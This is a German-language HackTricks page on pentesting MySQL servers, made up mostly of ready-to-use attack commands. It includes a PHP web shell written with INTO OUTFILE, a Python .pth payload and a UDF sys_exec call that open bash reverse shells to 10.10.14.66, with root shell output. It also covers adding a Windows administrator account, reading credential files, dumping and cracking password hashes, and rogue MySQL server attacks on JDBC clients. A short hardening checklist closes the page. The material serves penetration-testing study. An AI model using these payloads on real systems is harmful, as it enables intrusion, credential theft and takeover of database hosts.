3306 - Pentesting Mysql

Reading time: 18 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

MySQL ist ein Open-Source-Relationales Datenbank-Managementsystem (RDBMS), das kostenfrei verfügbar ist. Es verwendet die Structured Query Language (SQL) und ermöglicht die Verwaltung und Manipulation von Datenbanken.

Standardport: 3306

3306/tcp open  mysql

Verbinden

Lokal

bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Fernzugriff

bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

Einige der enumeration-Aktionen erfordern gültige Anmeldeinformationen

bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Beliebige Binärdaten schreiben

bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL-Befehle

bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Berechtigungsaufzählung

sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Die Bedeutung jedes Privileges findest du in der Dokumentation: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

MySQL File priv to SSRF/RCE

INTO OUTFILE → Python .pth RCE (site-spezifische Konfigurations-Hooks)

Durch Missbrauch des klassischen INTO OUTFILE-Primitives ist es möglich, beliebige Code-Ausführung auf Zielen zu erlangen, die später Python-Skripte ausführen.

  1. Verwende INTO OUTFILE, um eine benutzerdefinierte .pth-Datei in ein Verzeichnis abzulegen, das automatisch von site.py geladen wird (z. B. .../lib/python3.10/site-packages/).
  2. Die .pth-Datei kann eine einzelne Zeile enthalten, die mit import beginnt, gefolgt von beliebigem Python-Code, der bei jedem Start des Interpreters ausgeführt wird.
  3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel /cgi-bin/ml-draw.py mit Shebang #!/bin/python), wird das Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als root aus → full pre-auth RCE).

Beispiel .pth-Payload (eine einzelne Zeile, es dürfen keine Leerzeichen im finalen SQL-Payload enthalten sein, daher kann hex/UNHEX() oder String-Konkatenation erforderlich sein):

python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)

Beispiel für das Erstellen der Datei durch eine UNION query (Leerzeichen durch /**/ ersetzt, um einen sscanf("%128s") Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):

sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'

Wichtige Einschränkungen & Umgehungen:

  • INTO OUTFILE kann bestehende Dateien nicht überschreiben; wähle einen neuen Dateinamen.
  • Der Dateipfad wird relativ zum CWD von MySQL aufgelöst, daher hilft das Voranstellen von ../../, den Pfad zu verkürzen und absolute-Pfad-Beschränkungen zu umgehen.
  • Wenn die Eingabe des Angreifers mit %128s (oder ähnlichem) extrahiert wird, schneidet jedes Leerzeichen die payload ab; verwende MySQL-Kommentarsequenzen /**/ oder /*!*/, um Leerzeichen zu ersetzen.
  • Der MySQL-Benutzer, der die Abfrage ausführt, benötigt die FILE-Berechtigung, aber in vielen Appliances (z. B. FortiWeb) läuft der Dienst als root, wodurch Schreibzugriff fast überall möglich ist.

Nachdem die .pth abgelegt wurde, fordere einfach ein beliebiges CGI an, das vom python interpreter verarbeitet wird, um code execution zu erhalten:

GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>

Der Python-Prozess wird die bösartige .pth automatisch importieren und das shell payload ausführen.

# Attacker
$ nc -lvnp 4444
id
uid=0(root) gid=0(root) groups=0(root)

MySQL arbitrary read file by client

Tatsächlich: Wenn du versuchst, mit load data local into a table den content of a file zu laden, fordert der MySQL- oder MariaDB-Server den client to read it auf und der Client sendet den Inhalt. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Bitte beachte, dass dieses Verhalten bei Verwendung von:

bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Beachte das Wort "local")\ Denn ohne das "local" bekommst du:

bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Erstes PoC: https://github.com/allyshka/Rogue-MySql-Server
In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann: https://paper.seebug.org/1113/
Hier finden Sie eine Übersicht über den Angriff: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

POST

Mysql-Benutzer

Es ist sehr interessant, wenn mysql als root läuft:

bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Gefährliche Einstellungen in mysqld.cnf

In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um den Betrieb und die Sicherheitsmaßnahmen zu definieren:

  • Die user-Einstellung wird genutzt, um den Benutzer anzugeben, unter dem der MySQL-Dienst ausgeführt wird.
  • password wird verwendet, um das Passwort des MySQL-Benutzers festzulegen.
  • admin_address gibt die IP-Adresse an, die auf der administrativen Netzwerkschnittstelle für TCP/IP-Verbindungen lauscht.
  • Die debug-Variable gibt die aktuellen Debug-Konfigurationen an, einschließlich sensibler Informationen in den Logs.
  • sql_warnings steuert, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten.
  • Mit secure_file_priv wird der Umfang von Datenimport- und -exportvorgängen eingeschränkt, um die Sicherheit zu erhöhen.

Privilegieneskalation

bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

Wenn der mysql server is running as root (oder ein anderer, höher privilegierter Benutzer) läuft, kannst du ihn Befehle ausführen lassen. Dafür musst du user defined functions verwenden. Und um eine user defined zu erstellen, benötigst du eine library für das OS, auf dem mysql läuft.

Die bösartige Library, die verwendet werden soll, findest du in sqlmap und metasploit, indem du locate "*lib_mysqludf_sys*" ausführst. Die .so Dateien sind linux libraries und die .dll die Windows-Dateien — wähle die, die du brauchst.

Wenn du diese Libraries nicht hast, kannst du entweder danach suchen, oder diesen linux C code herunterladen und ihn auf der verwundbaren linux-Maschine kompilieren:

bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Jetzt, da du die Bibliothek hast, login im Mysql als privilegierter Benutzer (root?) und folge den nächsten Schritten:

Linux

sql
# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

sql
# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Windows-Tipp: Verzeichnisse mit NTFS ADS aus SQL erstellen

Auf NTFS kannst du die Erstellung von Verzeichnissen mithilfe eines alternativen Datenstroms (alternate data stream) erzwingen, selbst wenn nur ein file write primitive vorhanden ist. Wenn die klassische UDF chain ein plugin-Verzeichnis erwartet, dieses aber nicht existiert und @@plugin_dir unbekannt oder gesperrt ist, kannst du es zuerst mit ::$INDEX_ALLOCATION erstellen:

sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory

Damit lässt sich das eingeschränkte SELECT ... INTO OUTFILE auf Windows-Stacks zu einer vollständigeren Primitive ausbauen, indem die für UDF drops benötigte Ordnerstruktur angelegt wird.

MySQL-Anmeldedaten aus Dateien extrahieren

In /etc/mysql/debian.cnf findest du das Klartext-Passwort des Benutzers debian-sys-maint

bash
cat /etc/mysql/debian.cnf

Du kannst use these credentials to login in the mysql database.

In der Datei: /var/lib/mysql/mysql/user.MYD findest du all the hashes of the MySQL users (die du aus mysql.user in der Datenbank extrahieren kannst).

Du kannst sie extrahieren, indem du:

bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Aktivierung der Protokollierung

Sie können die Protokollierung von mysql-Abfragen in /etc/mysql/my.cnf aktivieren, indem Sie die Kommentarzeichen der folgenden Zeilen entfernen:

Nützliche Dateien

Konfigurationsdateien

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Befehlsverlauf
  • ~/.mysql.history
  • Protokolldateien
  • connections.log
  • update.log
  • common.log

Standard-MySQL-Datenbanken/-Tabellen

ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS

HackTricks automatische Befehle

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

2023-2025 Highlights (neu)

JDBC propertiesTransform deserialization (CVE-2023-21971)

Ab Connector/J <= 8.0.32 kann ein Angreifer, der die JDBC URL beeinflussen kann (z. B. in Drittanbieter-Software, die nach einem Connection-String fragt), über den Parameter propertiesTransform verlangen, dass beliebige Klassen auf der Client-Seite geladen werden. Wenn ein auf dem class-path vorhandenes gadget geladen werden kann, führt dies zu remote code execution in the context of the JDBC client (pre-auth, weil keine gültigen Anmeldedaten erforderlich sind). Ein minimales PoC sieht so aus:

java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Das Ausführen von Evil.class kann so einfach sein, wie sie auf dem class-path der verwundbaren Anwendung bereitzustellen oder einen rogue MySQL server ein bösartiges serialisiertes Objekt senden zu lassen. Das Problem wurde in Connector/J 8.0.33 behoben – aktualisieren Sie den Treiber oder setzen Sie propertiesTransform explizit auf eine allow-list. (Siehe Snyk write-up für Details)

Rogue / Fake MySQL Server-Angriffe gegen JDBC-Clients

Mehrere Open-Source-Tools implementieren ein partial MySQL-Protokoll, um JDBC-Clients anzugreifen, die Verbindungen nach außen herstellen:

  • mysql-fake-server (Java, supports file read and deserialization exploits)
  • rogue_mysql_server (Python, similar capabilities)

Typische Angriffswege:

  1. Die Opferanwendung lädt mysql-connector-j mit allowLoadLocalInfile=true oder autoDeserialize=true.
  2. Der Angreifer kontrolliert DNS / hosts-Eintrag, sodass der Hostname der DB auf eine Maschine unter seiner Kontrolle aufgelöst wird.
  3. Der bösartige Server antwortet mit speziell gestalteten Paketen, die entweder LOCAL INFILE arbitrary file read oder Java deserialization → RCE auslösen.

Beispiel-One-Liner, um einen Fake-Server zu starten (Java):

bash
java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server

Zeige dann die victim application auf jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true und lese /etc/passwd, indem du den Dateinamen als base64 im username-Feld kodierst (fileread_/etc/passwdbase64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=).

Cracking caching_sha2_password hashes

MySQL ≥ 8.0 speichert Passwort-Hashes als $mysql-sha2$ (SHA-256). Sowohl Hashcat (mode 21100) als auch John-the-Ripper (--format=mysql-sha2) unterstützen Offline-Cracking seit 2023. Dump die authentication_string-Spalte und speise sie direkt ein:

bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Härtungs-Checkliste (2025)

• Set LOCAL_INFILE=0 und --secure-file-priv=/var/empty, um die meisten Datei-Lese-/Schreib-Primitives zu unterbinden.
• Entferne das FILE-Privileg von Anwendungskonten.
• Bei Connector/J setze allowLoadLocalInfile=false, allowUrlInLocalInfile=false, autoDeserialize=false, propertiesTransform= (leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und erfordere TLS (require_secure_transport = ON).
• Überwache auf CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL und plötzliche SET GLOBAL-Anweisungen.


Quellen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks